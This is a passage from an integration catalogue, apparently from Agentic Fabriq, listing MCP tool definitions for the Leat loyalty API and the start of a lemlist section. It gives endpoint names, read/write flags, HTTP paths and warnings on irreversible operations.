(Shift Types) via GET /shift-types. Returns a paginated list of Shift Types. GET /api/v1/leat/shift-types. Scopes: api. leat_get_shift_types_by_uuid (read) — Get Shift Type (Shift Types) via GET /shift-types/{uuid}. Retrieve a Shift Type using its UUID. GET /api/v1/leat/shift-types/{uuid}. Scopes: api. leat_get_shift_types_find (read) — Find Shift Type by Name (Shift Types) via GET /shift-types/find. Returns all relevant information for a Shift Type. GET /api/v1/leat/shift-types/find. Scopes: api. leat_get_shifts (read) — List Shifts (Shifts) via GET /shifts. Returns a paginated list of Shifts. GET /api/v1/leat/shifts. Scopes: api. leat_get_shifts_by_uuid (read) — Get Shift (Shifts) via GET /shifts/{uuid}. Retrieve a Shift using its UUID. GET /api/v1/leat/shifts/{uuid}. Scopes: api. leat_get_shifts_find (read) — Find Shift by External ID (Shifts) via GET /shifts/find. Returns all relevant information for a Shift. GET /api/v1/leat/shifts/find. Scopes: api. leat_get_shops (read) — List Shops (Shops) via GET /shops. Retrieve all Shops belonging to an Account. In case this call is used for a Loyalty flow, then please check for a Loyalty program. None of the Loyalty API calls where a Shop ID is required will work if the Shop used is not linked to a Loyalty Program. GET /api/v1/leat/shops. Scopes: api. leat_get_shops_by_shop_uuid (read) — Get Shop (Shops) via GET /shops/{shop_uuid}. Retrieve information of your Shop. This call is useful for getting insights into individual shop settings and attributes. GET /api/v1/leat/shops/{shop_uuid}. Scopes: api. leat_get_subscription_types (read) — List Subscription Types (Subscription Types) via GET /subscription-types. Retrieves a list of all Subscription Types linked to an Account. Useful for getting an overview of the various communication categories and their enrollment strategies. GET /api/v1/leat/subscription-types. Scopes: api. leat_get_tiers (read) — List Tiers (Tiers) via GET /tiers. This API call fetches a list of all Tiers available in your Loyalty Program. It's a handy way to view the different status levels that Contacts can achieve. GET /api/v1/leat/tiers. Scopes: api. leat_get_units (read) — List Units (Units) via GET /units. Lists all Units for an account. These can subsequently be used to create Credit Receptions, where the unit_name parameter needs to be supplied if the default unit purchase_amount is not wished to be used. GET /api/v1/leat/units. Scopes: api. leat_get_visits (read) — List Visit (Visits) via GET /visits. GET /api/v1/leat/visits. Scopes: api. leat_get_visits_by_uuid (read) — Show Visit (Visits) via GET /visits/{uuid}. GET /api/v1/leat/visits/{uuid}. Scopes: api. leat_get_vouchers (read) — List Vouchers (Vouchers) via GET /vouchers. Retrieve a paginated list of all Vouchers for an Account, with the option to filter by Promotion, Contact, Voucher status, and more. GET /api/v1/leat/vouchers. Scopes: api. leat_get_vouchers_find (read) — Find Voucher (Vouchers) via GET /vouchers/find. Finds a Voucher by its unique code. This call will help you with identifying individual Vouchers and viewing their specifications like whether the Voucher is redeemed or not or when it expires. GET /api/v1/leat/vouchers/find. Scopes: api. leat_get_webhook_subscriptions (read) — List Webhook Subscriptions (Webhooks) via GET /webhook-subscriptions. Lists an Account's current Webhook Subscriptions. GET /api/v1/leat/webhook-subscriptions. Scopes: api. leat_get_webhook_subscriptions_by_webhook_subscription_uuid (read) — Get Webhook Subscription (Webhooks) via GET /webhook-subscriptions/{webhook_subscription_uuid}. Retrieve a specific Webhook Subscription by specifying its UUID. GET /api/v1/leat/webhook-subscriptions/{webhook_subscription_uuid}. Scopes: api. leat_post_automations_runs (write) — Create Automation Run (Automations) via POST /automations/runs. This method triggers an Automation. Please note that only the Automation with the 'contact_updated' event can subsequently be used to create a run. This means that the event of the Automation that you provide should have a be of type 'contact_updated'. You can add an array at data, which can then be used in the Automation. POST /api/v1/leat/automations/runs. Scopes: api. leat_post_bookings (write) — Create Booking (Bookings) via POST /bookings. Creates a new Booking. POST /api/v1/leat/bookings. Scopes: api. leat_post_collectable_rewards_by_collectable_reward_redemption_uuid_reverse (write, destructive) — Reverse Collectable Reward Redemption (Collectable Rewards) via POST /collectable-rewards/{collectable_reward_redemption_uuid}/reverse. Reverses a previous Collectable Reward Redemption, in the event of an order return or some other cancellation. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/collectable-rewards/{collectable_reward_redemption_uuid}/reverse. Scopes: api. leat_post_contact_attributes (write) — Create Contact Attribute (Contact Attributes) via POST /contact-attributes. This method allows you to create your own custom Contact Attribute. After the request, you get the created attribute as a response. POST /api/v1/leat/contact-attributes. Scopes: api. leat_post_contact_identifiers (write) — Create Contact Identifier (Contact Identifiers) via POST /contact-identifiers. Creates a Contact Identifier. You can link it directly to a Contact when you send a contact_uuid along. POST /api/v1/leat/contact-identifiers. Scopes: api. leat_post_contact_session_tokens_by_contact_session_token_use (write) — Use Contact Session Token (Contact Session Tokens) via POST /contact-session-tokens/{contact_session_token}/use. Mark a session token as used, making it invalid for next attempts. POST /api/v1/leat/contact-session-tokens/{contact_session_token}/use. Scopes: api. leat_post_contact_verification_send (write) — Send Contact Verification Email (Contact Verification) via POST /contact-verification/send. This function triggers the sending of a verification email to a Contact, provided they exist in the system. Therefore, it requires the Contact's email address to proceed. When doing so, the process of verifying their identity through email validation is initiated. The system checks for the existence of the Contact and the associated Contacts Portal before sending the email. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/contact-verification/send. Scopes: api. leat_post_contact_verification_verify (write) — Verify Login Code (Contact Verification) via POST /contact-verification/verify. Validates the login code received by the Contact via email. This verification is a crucial step to ensure the Contact's identity and secure login. The function checks for the presence of the Contacts Portal and uses the provided code and email to complete the verification process. POST /api/v1/leat/contact-verification/verify. Scopes: api. leat_post_contacts (write) — Create Contact (Contacts) via POST /contacts. If a Contact needs to be created, only the email address is needed. To add any additional data to the Contact, a subsequent Update Contact API call can be used. POST /api/v1/leat/contacts. Scopes: api. leat_post_contacts_anonymous (write) — Create Anonymous Contact (Contacts) via POST /contacts/anonymous. Creates an anonymous Contact with a fictitious email address. This can be used whenever a new Contact cannot (yet) be identified by their email address, but some actions are already desired (e.g. creation of Credit Receptions). (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/contacts/anonymous. Scopes: api. leat_post_contacts_async (write) — Create Contact Async (Contacts) via POST /contacts/async. If a Contact needs to be created *quickly* and any system values that are normally created upon creation aren't relevant, this function can be used. This API call is much faster than the 'regular' creation API call, focusing on basic Contact creation. POST /api/v1/leat/contacts/async. Scopes: api. leat_post_contacts_by_contact_uuid_delete (write, destructive) — Delete Contact (Contacts) via POST /contacts/{contact_uuid}/delete. Deletes a Contact. This action is irreversible, the Contact's Credit Balance and any relation to other entities within the system will be removed, although the entities themselves may remain. When using 'DEFAULT' as the deletion type, a log is created containing detailed information. If 'GDPR' is used as the deletion type, any reference to personal data is removed. (Leat's full notes for this endpoint are longer; see docs.leat.com.) DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/contacts/{contact_uuid}/delete. Scopes: api. leat_post_contacts_merge (write, destructive) — Merge Contact (Contacts) via POST /contacts/merge. WARNING: Use at your own risk and with consent from your clients. Before using, ensure both email addresses belong to the same person. Merges a 'source' Contact into a 'destination' Contact. The 'destination' Contact will be the resulting Contact, whilst the 'source' Contact will be removed. Note: This cannot be undone, so use with care. (Leat's full notes for this endpoint are longer; see docs.leat.com.) DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/contacts/merge. Scopes: api. leat_post_credit_receptions (write) — Create Credit Reception (Credit Receptions) via POST /credit-receptions. In creating a Credit Reception, you may either choose to set the unit_value alongside the relevant unit_name, or the credits, or both. In any case, one of either must be set. If only purchase amount is set, then the number of credits are determined by any Loyalty Rules set on the Loyalty Program. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/credit-receptions. Scopes: api. leat_post_credit_receptions_by_credit_reception_uuid_reverse (write, destructive) — Reverse Credit Reception (Credit Receptions) via POST /credit-receptions/{credit_reception_uuid}/reverse. At times, an initial Credit Reception needs to be reversed, because of a refund for instance. This will create a new Credit Reception with the same data as initially used, but for the negative number of credits issued. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/credit-receptions/{credit_reception_uuid}/reverse. Scopes: api. leat_post_custom_attribute_groups (write) — Create Custom Attribute Group (Custom Attribute Groups) via POST /custom-attribute-groups. Custom Attributes can be grouped, which can be helpful to identify those attributes that are associated to your integration. POST /api/v1/leat/custom-attribute-groups. Scopes: api. leat_post_custom_attributes (write) — Create Custom Attribute (Custom Attributes) via POST /custom-attributes. Creates a new Custom Attribute for a specified entity. You need to provide essential details like the entity type, name, label, and data type of the attribute. There's also the option to add a description and, for select attributes, an array of options. POST /api/v1/leat/custom-attributes. Scopes: api. leat_post_giftcard_transactions (write) — Create Giftcard Transaction (Giftcard Transactions) via POST /giftcard-transactions. This API call facilitates the creation of a transaction for a specific Giftcard. It handles both increment and decrement transactions. A negative amount will trigger a decrementation, adjusting the Giftcard's balance accordingly. POST /api/v1/leat/giftcard-transactions. Scopes: api. leat_post_giftcard_transactions_by_giftcard_transaction_uuid_reverse (write, destructive) — Reverse Giftcard Transaction (Giftcard Transactions) via POST /giftcard-transactions/{giftcard_transaction_uuid}/reverse. At times, an initial Giftcard Transaction needs to be reversed, because of a refund for instance. This will create a new Giftcard Transaction with the same data as initially used, but for the negative amount issued. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/giftcard-transactions/{giftcard_transaction_uuid}/reverse. Scopes: api. leat_post_giftcards (write) — Create Giftcard (Giftcards) via POST /giftcards. This API call allows creation of Digital Giftcards, as the creation of Physical Giftcards is currently not supported. To create a Digital Giftcard, use type: 1 in your request. POST /api/v1/leat/giftcards. Scopes: api. leat_post_giftcards_by_uuid_send_by_email (write) — Send Giftcard by Email (Giftcards) via POST /giftcards/{uuid}/send-by-email. This API call sends out an email containing giftcard information. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/giftcards/{uuid}/send-by-email. Scopes: api. leat_post_loyalty_transaction_attributes (write) — Create Loyalty Transaction Attribute (Loyalty Transaction Attributes) via POST /loyalty-transaction-attributes. Creating a Loyalty Transaction Attribute allows you to add new Custom Attributes to your Loyalty Program. This feature is essential for tailoring the program to specific data collection needs, such as capturing unique customer preferences or transaction details. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/loyalty-transaction-attributes. Scopes: api. leat_post_order_returns_create_and_process (write) — Create And Process Order Return (Order Returns) via POST /order-returns/create-and-process. Creates a new Order Return and processes it at once (i.e. handling corrections for the initial Order). It returns both the Order Return entity itself and a result object. If an Order Action was configured for the Account and the original Order triggered a Run, this is executed in sync and will populate the result object. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/order-returns/create-and-process. Scopes: api. leat_post_orders (write) — Create Order (Orders) via POST /orders. Creates a new Order in the Leat system. It does not yet process the Order, so no Points Transaction will be created just yet. Call the Process Order endpoint to convert the Order into a Points Transaction. Alternatively, use the Create and Process Order endpoint instead. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/orders. Scopes: api. leat_post_orders_by_uuid_process (write) — Process Order (Orders) via POST /orders/{uuid}/process. Processes an existing Order in the Leat system and returns a result object. If an Order Action was configured for the Account, then this is executed in sync and will fill the result object. An example of such a result would be a transaction containing loyalty points. POST /api/v1/leat/orders/{uuid}/process. Scopes: api. leat_post_orders_create_and_process (write) — Create And Process Order (Orders) via POST /orders/create-and-process. RECOMMENDED Creates a new Order in the Leat system and directly processes it. Returns both the Order entity itself and a result object containing the result of the Order Action as configured by the Client. Currently, the only type of Order Action supported is the creation of a Points Transaction. However, please take into account that more result types will be added in the future (e.g. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/orders/create-and-process. Scopes: api. leat_post_orders_simulate (read) — Simulate Order Result (Orders) via POST /orders/simulate. Simulates the result of a new Order in the Leat system. Please note that the actual result may differ, as some time-based rules may be in place. Also, some rules may not be applied if the required information is missing from the payload (e.g. contact). POST /api/v1/leat/orders/simulate. Scopes: api. leat_post_perks (write) — Create Perk (Perks) via POST /perks. Creates a new Perk. POST /api/v1/leat/perks. Scopes: api. leat_post_portal_sessions (write) — Create Portal Session (Portal Sessions) via POST /portal-sessions. When creating a portal session, a valid shop_uuid specifying the shop for which the portal session is to be created must be provided. Optionally, a contact_uuid can be provided, which will pre-fill the contact's details in the portal session. If no contact UUID is provided, the contact can be added in the portal session itself. It is also possible to specify the scanner_type that is being used. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/portal-sessions. Scopes: api. leat_post_portal_sessions_credit_reception (write) — Create Credit Reception Portal Session (Portal Sessions) via POST /portal-sessions/credit-reception. A portal session can also specifically be made for credit receptions. This is done by specifying the credit-reception endpoint. All other parameters are the same as when creating a regular portal session. POST /api/v1/leat/portal-sessions/credit-reception. Scopes: api. leat_post_portal_sessions_pay_prepaid (write) — Create Pay Prepaid Portal Session (Portal Sessions) via POST /portal-sessions/pay-prepaid. A portal session can also specifically be made for prepaid transactions. This is done by specifying the pay-prepaid endpoint. All other parameters are the same as when creating a regular portal session. POST /api/v1/leat/portal-sessions/pay-prepaid. Scopes: api. leat_post_portal_sessions_redeem_giftcards (write) — Create Redeem Giftcard Portal Session (Portal Sessions) via POST /portal-sessions/redeem-giftcards. A portal session can also specifically be made for redeeming giftcards. This is done by specifying the redeem-giftcards endpoint. This session type requires a purchase amount, amount_in_cents, to be provided. It is also possible to specify whether multiple giftcards can be used for a single transaction by supplying the allow_multiple_giftcards parameter (defaults to true). POST /api/v1/leat/portal-sessions/redeem-giftcards. Scopes: api. leat_post_portal_sessions_top_up_giftcards (write) — Create Top Up Giftcard Portal Session (Portal Sessions) via POST /portal-sessions/top-up-giftcards. A portal session can also specifically be made for topping up giftcards. This is done by specifying the top-up-giftcards endpoint. All other parameters are the same as when creating a regular portal session. POST /api/v1/leat/portal-sessions/top-up-giftcards. Scopes: api. leat_post_portal_sessions_top_up_prepaid (write) — Create Top Up Prepaid Portal Session (Portal Sessions) via POST /portal-sessions/top-up-prepaid. A portal session can also specifically be made to top up a contact's prepaid balance. This is done by specifying the top-up-prepaid endpoint. All other parameters are the same as when creating a regular portal session. POST /api/v1/leat/portal-sessions/top-up-prepaid. Scopes: api. leat_post_portal_sessions_vouchers (write) — Create Voucher Portal Session (Portal Sessions) via POST /portal-sessions/vouchers. A portal session can also specifically be made for vouchers. This is done by specifying the vouchers endpoint. All other parameters are the same as when creating a regular portal session. POST /api/v1/leat/portal-sessions/vouchers. Scopes: api. leat_post_pos_transactions (write) — Create POS Transaction (POS Transactions) via POST /pos-transactions. Creates a POS Transaction in the Piggy system. You may choose to set a transaction ID and/or a terminal ID. POST /api/v1/leat/pos-transactions. Scopes: api. leat_post_pos_transactions_by_pos_transaction_uuid_push (write) — Push POS Transaction (POS Transactions) via POST /pos-transactions/{pos_transaction_uuid}/push. Send a push to Device after a POS Transaction creation, so a Credit Reception may be created using the Device. POST /api/v1/leat/pos-transactions/{pos_transaction_uuid}/push. Scopes: api. leat_post_prepaid_transactions (write) — Create Prepaid Transaction (Prepaid Transactions) via POST /prepaid-transactions. This API call generates a Prepaid Transaction for a specified Contact. Necessary parameters include either the Contact's UUID or their unique identifier value, the amount in cents for the transaction, and the Shop UUID where the transaction is occurring. Using this method ensures and accurate and up-to-date record of the Contact's Prepaid balance. POST /api/v1/leat/prepaid-transactions. Scopes: api. leat_post_prepaid_transactions_by_prepaid_transaction_uuid_reverse (write, destructive) — Reverse Prepaid Transaction (Prepaid Transactions) via POST /prepaid-transactions/{prepaid_transaction_uuid}/reverse. At times, an initial Prepaid Transaction needs to be reversed, because of a refund for instance. This will create a new Prepaid Transaction with the same data as initially used, but for the negative amount issued. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/prepaid-transactions/{prepaid_transaction_uuid}/reverse. Scopes: api. leat_post_product_categories (write) — Create Category (Categories) via POST /product-categories. Creates a new Category in the Leat system and returns the Category entity. POST /api/v1/leat/product-categories. Scopes: api. leat_post_product_categories_batch (write) — Batch Create Categories (Categories) via POST /product-categories/batch. Creates a batch of Categories in the Leat system. Accepts up to 250 Categories per request. The maximum allowed payload size is 1MB. POST /api/v1/leat/product-categories/batch. Scopes: api. leat_post_product_categories_find_or_create (write) — Find or Create Category (Categories) via POST /product-categories/find-or-create. Finds an existing Category or creates a new Category in the Leat system and returns the Category entity. POST /api/v1/leat/product-categories/find-or-create. Scopes: api. leat_post_products (write) — Create Product (Products) via POST /products. Creates a new Product in the Leat system and returns the Product entity. POST /api/v1/leat/products. Scopes: api. leat_post_products_batch (write) — Batch Create Products (Products) via POST /products/batch. Creates a batch of Products in the Leat system. Accepts up to 100 Products per request. The maximum allowed payload size is 1MB. POST /api/v1/leat/products/batch. Scopes: api. leat_post_products_find_or_create (write) — Find or Create Product (Products) via POST /products/find-or-create. Finds an existing Product or creates a new Product in the Leat system and returns the Product entity. POST /api/v1/leat/products/find-or-create. Scopes: api. leat_post_promotion_attributes (write) — Create Promotion Attribute (Promotion Attributes) via POST /promotion-attributes. Globally create a Promotion Attribute for the Account in question, customizable to your wishes. POST /api/v1/leat/promotion-attributes. Scopes: api. leat_post_reward_receptions (write) — Create Reward Reception (Reward Receptions) via POST /reward-receptions. Create a Reward Reception by specifying the Contact's UUID and the desired Reward's UUID. It enables a Contact to claim a Reward. Our backend manages various scenarios, like insufficient credits, stock limitations, Reward limits, and inactivity of Rewards, ensuring a correct Reward claiming process. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/reward-receptions. Scopes: api. leat_post_reward_receptions_by_reward_reception_uuid_reverse (write, destructive) — Reverse Reward Reception (Reward Receptions) via POST /reward-receptions/{reward_reception_uuid}/reverse. At times, a Reward redemption needs to be reversed, because of a canceled order for instance. This will create a new Credit Reception with the same data as initially used, to reissue the credits used. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/reward-receptions/{reward_reception_uuid}/reverse. Scopes: api. leat_post_shift_teams (write) — Create Team (Shift Teams) via POST /shift-teams. Creates a new Team for Shifts. POST /api/v1/leat/shift-teams. Scopes: api. leat_post_shift_types (write) — Create Shift Type (Shift Types) via POST /shift-types. Creates a new Shift Type. POST /api/v1/leat/shift-types. Scopes: api. leat_post_shifts (write) — Create Shift (Shifts) via POST /shifts. Creates a new Shift. POST /api/v1/leat/shifts. Scopes: api. leat_post_units (write) — Create Unit (Units) via POST /units. Create a new Unit for your Account with this API call. By default, a Unit always exists for an Account. If is_default is set to true, the newly created Unit will be the default Unit for the Account, meaning this will be used for Credit Receptions if Unit is not specified. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/units. Scopes: api. leat_post_visits (write) — Create Visit (Visits) via POST /visits. Create a new Visit in the Leat system and returns the Visit entity. POST /api/v1/leat/visits. Scopes: api. leat_post_vouchers (write) — Create Voucher (Vouchers) via POST /vouchers. Creates a new Voucher for a Promotion. Only the promotion_uuid is required. A specific code can be given to be used, or else a code will be generated by the system. Similarly, if no activation_date and/or expiration_date is given, the system will calculate those dates by the validity rules set up for the promotion. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/vouchers. Scopes: api. leat_post_vouchers_batch (write) — Create Batch of Vouchers (Vouchers) via POST /vouchers/batch. Create multiple Vouchers at once for a specific Promotion. Specify the quantity and, optionally, a Contact UUID, activation_date and/or expiration_date. The system will generate a batch of Vouchers according to the Promotion's rules. POST /api/v1/leat/vouchers/batch. Scopes: api. leat_post_vouchers_by_uuid_reverse (write, destructive) — Reverse Voucher Redemption (Vouchers) via POST /vouchers/{uuid}/reverse. Reverses a Voucher Redemption. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. POST /api/v1/leat/vouchers/{uuid}/reverse. Scopes: api. leat_post_vouchers_by_voucher_uuid_lock (write) — Lock Voucher (Optional) (Vouchers) via POST /vouchers/{voucher_uuid}/lock. Using the lock functionality, you can make sure that a Voucher cannot be used by another process at the same time as well as return the Voucher to its ACTIVE state when a failure occurs on your side (using the Release call). Using the locking method, you can make sure the Voucher only reaches a REDEEMED state when everything completed successful on your side. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/vouchers/{voucher_uuid}/lock. Scopes: api. leat_post_vouchers_by_voucher_uuid_release (write) — Release Voucher (Optional) (Vouchers) via POST /vouchers/{voucher_uuid}/release. When using Voucher locking, there is also the process of releasing the Voucher. Using the call you can release the Voucher from its lock using the release key that was retrieved during the initial lock. Extra information: When redeeming a Voucher that was previously locked, the system will release the lock automatically (you need to provide the release key as well). (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/vouchers/{voucher_uuid}/release. Scopes: api. leat_post_vouchers_by_voucher_uuid_validate (read) — Check Voucher Validity (Vouchers) via POST /vouchers/{voucher_uuid}/validate. Validates if the Voucher can be redeemed at this point by the Contact. POST /api/v1/leat/vouchers/{voucher_uuid}/validate. Scopes: api. leat_post_vouchers_multi_redeem (write) — Multi Redeem Voucher (Vouchers) via POST /vouchers/multi-redeem. Redeems a Voucher multiple times at once for a Contact. If the Voucher isn't yet linked to a Contact – because a series of Vouchers were printed as flyers to be given away for instance – then the contact_uuid is required as well as the Voucher code. Please note that when using locked Vouchers, you should send in your release_key here as well. POST /api/v1/leat/vouchers/multi-redeem. Scopes: api. leat_post_vouchers_redeem (write) — Redeem Voucher (Vouchers) via POST /vouchers/redeem. Redeems a Voucher for a Contact. If the Voucher is already linked to a Contact – because it was sent in an automated email for instance – the call only requires the Voucher's code for redeeming it. If the Voucher isn't yet linked to a Contact – because a series of Vouchers were printed as flyers to be given away for instance – then the contact_uuid is required as well as the Voucher code. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/vouchers/redeem. Scopes: api. leat_post_webhook_subscriptions (write) — Create Webhook Subscription (Webhooks) via POST /webhook-subscriptions. Subscribes to a specific Webhook event. Pass version to choose the envelope your endpoint receives — see Webhook versions. Leave it out and you get V1, so pass V2 for anything new. An integration has one subscription per event type. (Leat's full notes for this endpoint are longer; see docs.leat.com.) POST /api/v1/leat/webhook-subscriptions. Scopes: api. leat_put_bookings_by_uuid (write) — Update Booking (Bookings) via PUT /bookings/{uuid}. Updates the attributes of a Booking. Shop and contact cannot be updated. PUT /api/v1/leat/bookings/{uuid}. Scopes: api. leat_put_collectable_rewards_collect_by_loyalty_transaction_uuid (write) — Redeem Collectable Reward (Collectable Rewards) via PUT /collectable-rewards/collect/{loyalty_transaction_uuid}. To collect a Reward, the UUID of the Loyalty Transaction needs to be stated as query parameter inside the URI. It updates the existing Reward resource and sets the has_been_collected property to true. PUT /api/v1/leat/collectable-rewards/collect/{loyalty_transaction_uuid}. Scopes: api. leat_put_contact_identifiers (write) — Update Contact Identifier (Contact Identifiers) via PUT /contact-identifiers. Updates a Contact Identifier. Note: only the identifier's name and active properties can be updated. The value cannot be updated. PUT /api/v1/leat/contact-identifiers. Scopes: api. leat_put_contact_identifiers_link (write) — Link Contact Identifier (Contact Identifiers) via PUT /contact-identifiers/link. Links an existing, unlinked Contact Identifier to an existing Contact. PUT /api/v1/leat/contact-identifiers/link. Scopes: api. leat_put_contact_identifiers_unlink (write, destructive) — Unlink Contact Identifier (Contact Identifiers) via PUT /contact-identifiers/unlink. Removes a linked Contact from a Contact Identifier. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. PUT /api/v1/leat/contact-identifiers/unlink. Scopes: api. leat_put_contact_subscriptions_by_contact_uuid_subscribe (write) — Subscribe Contact (Contact Subscriptions) via PUT /contact-subscriptions/{contact_uuid}/subscribe. This call enables the subscription of a specific Contact to a chosen Subscription Type. By providing the Contact's UUID and the desired Subscription Type's UUID, you can easily enroll a Contact in a particular subscription. PUT /api/v1/leat/contact-subscriptions/{contact_uuid}/subscribe. Scopes: api. leat_put_contact_subscriptions_by_contact_uuid_unsubscribe (write) — Unsubscribe Contact to Subscription Type (Contact Subscriptions) via PUT /contact-subscriptions/{contact_uuid}/unsubscribe. This function allows for the removal of a specific Contact from a particular Subscription Type. By specifying the Contact's UUID and the Subscription Type's UUID, you can easily manage the Contact's subscription status. PUT /api/v1/leat/contact-subscriptions/{contact_uuid}/unsubscribe. Scopes: api. leat_put_contacts_by_anonymous_contact_uuid_claim (write) — Claim Anonymous Contact (Contacts) via PUT /contacts/{anonymous_contact_uuid}/claim. This function enables the conversion of an anonymous Contact (registered with a fictional email address) into a recognized Contact with a real email address. If a Contact already exists with the provided real email address, the anonymous and existing Contacts will be merged. PUT /api/v1/leat/contacts/{anonymous_contact_uuid}/claim. Scopes: api. leat_put_contacts_by_contact_uuid (write) — Update Contact (Contacts) via PUT /contacts/{contact_uuid}. Contact's attributes. Please note that system values or system defined attributes, such as 'credit balance' or 'created at', cannot be updated. Example payload: json { "attributes": { "firstname": "John", "lastname": "Doe", "example_custom_attribute": "Hello", } } PUT /api/v1/leat/contacts/{contact_uuid}. Scopes: api. leat_put_custom_attributes_by_custom_attribute_name (write) — Update Custom Attribute (Custom Attributes) via PUT /custom-attributes/{custom_attribute_name}. Updates the properties of a Custom Attribute. Note that only the label, description, options for selects and multiselects, group can be updated. Attributes defined by the system cannot be updated. PUT /api/v1/leat/custom-attributes/{custom_attribute_name}. Scopes: api. leat_put_orders_by_uuid (write) — Update Order (Orders) via PUT /orders/{uuid}. Use the uuid to update an existing Order. PUT /api/v1/leat/orders/{uuid}. Scopes: api. leat_put_perks_by_perk_uuid (write) — Update Perk (Perks) via PUT /perks/{perk_uuid}. Updates an existing Perk. PUT /api/v1/leat/perks/{perk_uuid}. Scopes: api. leat_put_product_categories_by_uuid (write) — Update Category (Categories) via PUT /product-categories/{uuid}. Updates a Category in the Leat system and returns the updated Category entity. PUT /api/v1/leat/product-categories/{uuid}. Scopes: api. leat_put_products_by_uuid (write) — Update Product (Products) via PUT /products/{uuid}. Updates a Product in the Leat system and returns the updated Product entity. PUT /api/v1/leat/products/{uuid}. Scopes: api. leat_put_rewards_by_reward_uuid (write) — Update Reward (Rewards) via PUT /rewards/{reward_uuid}. You can modify both global values and custom Reward Attributes. If you need to update a custom attribute—one that you've created specifically for a Reward—simply include it in the parameters, just as you would with the title, description, and required credits. PUT /api/v1/leat/rewards/{reward_uuid}. Scopes: api. leat_put_shift_teams_by_uuid (write) — Update Team (Shift Teams) via PUT /shift-teams/{uuid}. Updates the attributes of a Team. PUT /api/v1/leat/shift-teams/{uuid}. Scopes: api. leat_put_shift_types_by_uuid (write) — Update Shift Type (Shift Types) via PUT /shift-types/{uuid}. Updates the attributes of a Shift Type. PUT /api/v1/leat/shift-types/{uuid}. Scopes: api. leat_put_shifts_by_uuid (write) — Update Shift (Shifts) via PUT /shifts/{uuid}. Updates the attributes of a Shift. Shop and contact cannot be updated. PUT /api/v1/leat/shifts/{uuid}. Scopes: api. leat_put_visits_by_uuid (write) — Update Visit (Visits) via PUT /visits/{uuid}. Updates the attributes of a Visit. Shop and contact cannot be updated. PUT /api/v1/leat/visits/{uuid}. Scopes: api. leat_put_vouchers_by_voucher_uuid (write) — Update Voucher (Vouchers) via PUT /vouchers/{voucher_uuid}. Update the status of a Voucher. This endpoint allows you to activate or deactivate a Voucher, changing its usability status as needed. PUT /api/v1/leat/vouchers/{voucher_uuid}. Scopes: api. leat_put_webhook_subscriptions_by_webhook_subscription_uuid (write) — Update Webhook Subscription (Webhooks) via PUT /webhook-subscriptions/{webhook_subscription_uuid}. Updates an existing Webhook Subscription. The subscription's event_type and secret cannot be altered after creation. PUT /api/v1/leat/webhook-subscriptions/{webhook_subscription_uuid}. Scopes: api. ================================================================================ ## lemlist URL: https://www.agenticfabriq.com/integrations/lemlist Section: Integrated Tools lemlist — 155 MCP tools Provider key: lemlist. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. lemlist_delete_activities_by_activityid_recording_transcript (write, destructive) — Delete Activity Recording & Transcript via DELETE /activities/{activityId}/recording-transcript DELETE /api/v1/lemlist/activities/{activityId}/recording-transcript. Scopes: api. lemlist_delete_campaigns_by_campaignid_leads_by_email (write, destructive) — Unsubscribe Lead from Campaign via DELETE /campaigns/{campaignId}/leads/{email} DELETE /api/v1/lemlist/campaigns/{campaignId}/leads/by_email/{email}. Scopes: api. lemlist_delete_campaigns_by_campaignid_leads_by_leadid (write, destructive) — Delete or Unsubscribe Lead via DELETE /campaigns/{campaignId}/leads/{leadId} DELETE /api/v1/lemlist/campaigns/{campaignId}/leads/{leadId}. Scopes: api. lemlist_delete_companies_by_companyid (write, destructive) — Deletes a lemlist company. Refuses by default when contacts are still attached — pass `force=true` to detach them (the `companyId` field is unset on each 